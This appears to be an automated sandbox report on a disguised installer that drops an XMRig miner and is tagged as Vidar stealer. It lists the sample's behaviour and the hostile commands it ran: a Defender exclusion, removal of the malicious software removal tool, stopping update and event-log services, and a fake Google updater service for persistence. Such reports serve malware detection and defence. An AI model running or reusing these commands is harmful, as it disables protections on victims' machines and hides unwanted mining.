Malware Analysis Report

2025-08-11 01:05

Sample ID 240302-tz2klseh5z
Target Setup_Pswrd_1234 (extract.me).zip
SHA256 05a1417cddd0b7ba54fe693aca50f59dabbe92217f40fc5d025ef9fcac074b3b
Tags
xmrig evasion miner persistence upx discovery vidar 72c188b514339a2282c548d02df38a4a stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

05a1417cddd0b7ba54fe693aca50f59dabbe92217f40fc5d025ef9fcac074b3b

Threat Level: Known bad

The file Setup_Pswrd_1234 (extract.me).zip was found to be: Known bad.

Malicious Activity Summary

xmrig evasion miner persistence upx discovery vidar 72c188b514339a2282c548d02df38a4a stealer

Detect Vidar Stealer

xmrig

Vidar

XMRig Miner payload

Creates new service(s)

Drops file in Drivers directory

Stops running service(s)

Executes dropped EXE

UPX packed file

Modifies file permissions

Drops file in System32 directory

Suspicious use of SetThreadContext

Launches sc.exe

Unsigned PE

Program crash

Suspicious behavior: LoadsDriver

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Modifies data under HKEY_USERS

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-02 16:32

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-03-02 16:30

Reported

2024-03-02 16:36

Platform

win11-20240221-en

Max time kernel

50s

Max time network

83s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Updater.exe"

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Creates new service(s)

persistence

Drops file in Drivers directory

Description Indicator Process Target
File created C:\Windows\system32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
File created C:\Windows\system32\drivers\etc\hosts C:\ProgramData\GoogleUP\Chrome\Updater.exe N/A

Stops running service(s)

evasion

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\system32\MRT.exe C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\system32\MRT.exe C:\ProgramData\GoogleUP\Chrome\Updater.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4332 set thread context of 848 N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\Windows\system32\conhost.exe
PID 4332 set thread context of 2228 N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\Windows\explorer.exe

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT C:\Windows\explorer.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\explorer.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\explorer.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\explorer.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Updater.exe N/A
N/A N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe N/A
N/A N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe N/A
N/A N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe N/A
N/A N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe N/A
N/A N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe N/A
N/A N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe N/A
N/A N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe N/A
N/A N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe N/A
N/A N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe N/A
N/A N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe N/A
N/A N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe N/A
N/A N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\explorer.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4656 wrote to memory of 4132 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wusa.exe
PID 4656 wrote to memory of 4132 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wusa.exe
PID 2868 wrote to memory of 1376 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wusa.exe
PID 2868 wrote to memory of 1376 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wusa.exe
PID 4332 wrote to memory of 848 N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\Windows\system32\conhost.exe
PID 4332 wrote to memory of 848 N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\Windows\system32\conhost.exe
PID 4332 wrote to memory of 848 N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\Windows\system32\conhost.exe
PID 4332 wrote to memory of 848 N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\Windows\system32\conhost.exe
PID 4332 wrote to memory of 848 N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\Windows\system32\conhost.exe
PID 4332 wrote to memory of 848 N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\Windows\system32\conhost.exe
PID 4332 wrote to memory of 848 N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\Windows\system32\conhost.exe
PID 4332 wrote to memory of 848 N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\Windows\system32\conhost.exe
PID 4332 wrote to memory of 848 N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\Windows\system32\conhost.exe
PID 4332 wrote to memory of 2228 N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\Windows\explorer.exe
PID 4332 wrote to memory of 2228 N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\Windows\explorer.exe
PID 4332 wrote to memory of 2228 N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\Windows\explorer.exe
PID 4332 wrote to memory of 2228 N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\Windows\explorer.exe
PID 4332 wrote to memory of 2228 N/A C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\Windows\explorer.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Updater.exe

"C:\Users\Admin\AppData\Local\Temp\Updater.exe"

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop UsoSvc

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop WaaSMedicSvc

C:\Windows\system32\wusa.exe

wusa /uninstall /kb:890830 /quiet /norestart

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop wuauserv

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop bits

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop dosvc

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop eventlog

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"

C:\ProgramData\GoogleUP\Chrome\Updater.exe

C:\ProgramData\GoogleUP\Chrome\Updater.exe

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop UsoSvc

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop WaaSMedicSvc

C:\Windows\system32\wusa.exe

wusa /uninstall /kb:890830 /quiet /norestart

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop wuauserv

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop bits

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop dosvc

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0

C:\Windows\system32\conhost.exe

C:\Windows\system32\conhost.exe

C:\Windows\explorer.exe

explorer.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 0.181.190.20.in-addr.arpa udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
FR 51.15.193.130:10343 xmr-eu1.nanopool.org tcp
US 104.21.95.148:443 rentry.co tcp
FR 51.15.193.130:10343 xmr-eu1.nanopool.org tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp

Files

memory/4172-0-0x00007FF7C7C80000-0x00007FF7C8864000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uvrdscef.0or.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2200-10-0x00000208CCF40000-0x00000208CCF62000-memory.dmp

memory/2200-11-0x00007FFF05530000-0x00007FFF05FF2000-memory.dmp

memory/2200-12-0x00000208CCC20000-0x00000208CCC30000-memory.dmp

memory/2200-13-0x00000208CCC20000-0x00000208CCC30000-memory.dmp

memory/2200-14-0x00000208CCC20000-0x00000208CCC30000-memory.dmp

memory/2200-17-0x00007FFF05530000-0x00007FFF05FF2000-memory.dmp

C:\ProgramData\GoogleUP\Chrome\Updater.exe

MD5 eb0f3744f86799012349cf61ee039141
SHA1 8dbaf2e29b16786e17887852d423d56a10bff3df
SHA256 679519fc079ccf78798bba9565460f88d2364befde6ea3df516362610ad101ad
SHA512 da4ef89d4facbbb3351fe16c5cc9916670f9d8d5ad412d823c1a1be31fb10763d1f4c83be65d68240b2ffcda01b68908981f27f078c69d3ae0cdc76cfde08224

memory/4332-22-0x00007FF6B44A0000-0x00007FF6B5084000-memory.dmp

memory/3744-32-0x00007FFF05530000-0x00007FFF05FF2000-memory.dmp

memory/3744-33-0x0000017825930000-0x0000017825940000-memory.dmp

memory/3744-34-0x0000017825930000-0x0000017825940000-memory.dmp

memory/3744-43-0x0000017825C90000-0x0000017825CAC000-memory.dmp

memory/3744-44-0x00007FF4E6DE0000-0x00007FF4E6DF0000-memory.dmp

memory/3744-45-0x0000017825CB0000-0x0000017825D63000-memory.dmp

memory/3744-46-0x0000017825920000-0x000001782592A000-memory.dmp

memory/3744-47-0x0000017825E90000-0x0000017825EAC000-memory.dmp

memory/3744-48-0x0000017825E70000-0x0000017825E7A000-memory.dmp

memory/3744-49-0x0000017825ED0000-0x0000017825EEA000-memory.dmp

memory/3744-50-0x0000017825E80000-0x0000017825E88000-memory.dmp

memory/3744-51-0x0000017825EB0000-0x0000017825EB6000-memory.dmp

memory/3744-52-0x0000017825EC0000-0x0000017825ECA000-memory.dmp

memory/3744-53-0x0000017825930000-0x0000017825940000-memory.dmp

memory/3744-56-0x00007FFF05530000-0x00007FFF05FF2000-memory.dmp

memory/848-59-0x0000000140000000-0x000000014000E000-memory.dmp

C:\Windows\system32\drivers\etc\hosts

MD5 00930b40cba79465b7a38ed0449d1449
SHA1 4b25a89ee28b20ba162f23772ddaf017669092a5
SHA256 eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01
SHA512 cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62

memory/848-60-0x0000000140000000-0x000000014000E000-memory.dmp

memory/848-61-0x0000000140000000-0x000000014000E000-memory.dmp

memory/848-62-0x0000000140000000-0x000000014000E000-memory.dmp

memory/848-63-0x0000000140000000-0x000000014000E000-memory.dmp

memory/848-65-0x0000000140000000-0x000000014000E000-memory.dmp

memory/2228-67-0x0000000140000000-0x0000000140848000-memory.dmp

memory/2228-68-0x0000000140000000-0x0000000140848000-memory.dmp

memory/2228-69-0x0000000140000000-0x0000000140848000-memory.dmp

memory/2228-70-0x0000000140000000-0x0000000140848000-memory.dmp

memory/2228-71-0x0000000140000000-0x0000000140848000-memory.dmp

memory/2228-72-0x0000000140000000-0x0000000140848000-memory.dmp

memory/2228-73-0x0000000140000000-0x0000000140848000-memory.dmp

memory/2228-74-0x00000000016C0000-0x00000000016E0000-memory.dmp

memory/2228-75-0x0000000140000000-0x0000000140848000-memory.dmp

memory/2228-76-0x0000000140000000-0x0000000140848000-memory.dmp

memory/2228-77-0x0000000140000000-0x0000000140848000-memory.dmp

memory/2228-78-0x0000000140000000-0x0000000140848000-memory.dmp

memory/2228-79-0x0000000140000000-0x0000000140848000-memory.dmp

memory/2228-80-0x00000000121F0000-0x0000000012230000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-03-02 16:30

Reported

2024-03-02 16:36

Platform

win11-20240221-en

Max time kernel

68s

Max time network

84s

Command Line

java -jar C:\Users\Admin\AppData\Local\Temp\javaws.jar

Signatures

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4692 wrote to memory of 2704 N/A C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe C:\Windows\system32\icacls.exe
PID 4692 wrote to memory of 2704 N/A C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe C:\Windows\system32\icacls.exe

Processes

C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe

java -jar C:\Users\Admin\AppData\Local\Temp\javaws.jar

C:\Windows\system32\icacls.exe

C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M

Network

Country Destination Domain Proto
US 52.111.227.13:443 tcp

Files

memory/4692-4-0x0000021104840000-0x0000021105840000-memory.dmp

memory/4692-11-0x0000021103010000-0x0000021103011000-memory.dmp

C:\ProgramData\Oracle\Java\.oracle_jre_usage\3903daac9bc4a3b7.timestamp

MD5 3690434cdf9032dd7d15c8b31f04f5e4
SHA1 dff203169c89327d56177d204b0627991384d8e3
